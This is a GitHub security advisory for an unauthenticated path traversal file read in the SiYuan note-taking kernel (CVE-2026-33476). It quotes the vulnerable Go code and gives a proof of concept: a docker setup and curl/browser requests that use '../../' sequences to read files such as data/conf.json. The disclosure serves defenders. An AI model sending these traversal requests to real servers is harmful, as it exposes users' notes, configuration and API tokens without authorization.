Skip to content

Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal

High severity GitHub Reviewed Published Mar 20, 2026 in siyuan-note/siyuan • Updated Mar 20, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20260317012524-fe4523fff2c8

Patched versions

None

Description

Summary

The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath.
Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

Details

Vulnerable Code Location

File: kernel/server/serve.go

siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
    filePath := filepath.Join(
        appearancePath,
        strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
    )
    ...
    c.File(filePath)
})

Technical Root Cause

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

Key issues:

1. Unsanitized User Input

The path component extracted from the request is not validated or normalized to prevent traversal.

strings.TrimPrefix(c.Request.URL.Path, "/appearance/")

This preserves sequences such as:

../
..\ (Windows)

2. Unsafe Path Joining

filepath.Join() does not enforce directory confinement.

This escapes the intended directory.

3. Direct File Serving

The resolved path is served without verification:

c.File(filePath)

Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

File: session.go

if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
    c.Next()
    return
}

This allows attackers to access the vulnerable endpoint without a session or token.

Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

GET /appearance/../../data/conf.json HTTP/1.1
Host: target

Because authentication is bypassed, the attack requires no credentials.

PoC

Step 1 — Create marker file

mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt

Step 2 — Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Step 3 — Confirm service works

Open in browser:

http://127.0.0.1:6806

Exploit PoC

Method A — using CURL command

Use --path-as-is so curl does NOT normalize ../.

curl -v --path-as-is \
  "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"

Output

HTTP/1.1 200 OK
POC_EXPLOITED

Method B — Using Browser

http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt

If method B is not working, use method A, which is CURL command to do the exploit

Impact

An unauthenticated attacker can read arbitrary files accessible to the server process, including:

  • Workspace configuration files
  • User notes and stored data
  • API tokens and secrets
  • Local system files (depending on permissions)

This may lead to:

  • Sensitive information disclosure
  • Credential leakage
  • Further compromise through exposed secrets

References

@88250 88250 published to siyuan-note/siyuan Mar 20, 2026
Published to the GitHub Advisory Database Mar 20, 2026
Reviewed Mar 20, 2026
Last updated Mar 20, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

CVE ID

CVE-2026-33476

GHSA ID

GHSA-hhgj-gg9h-rjp7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.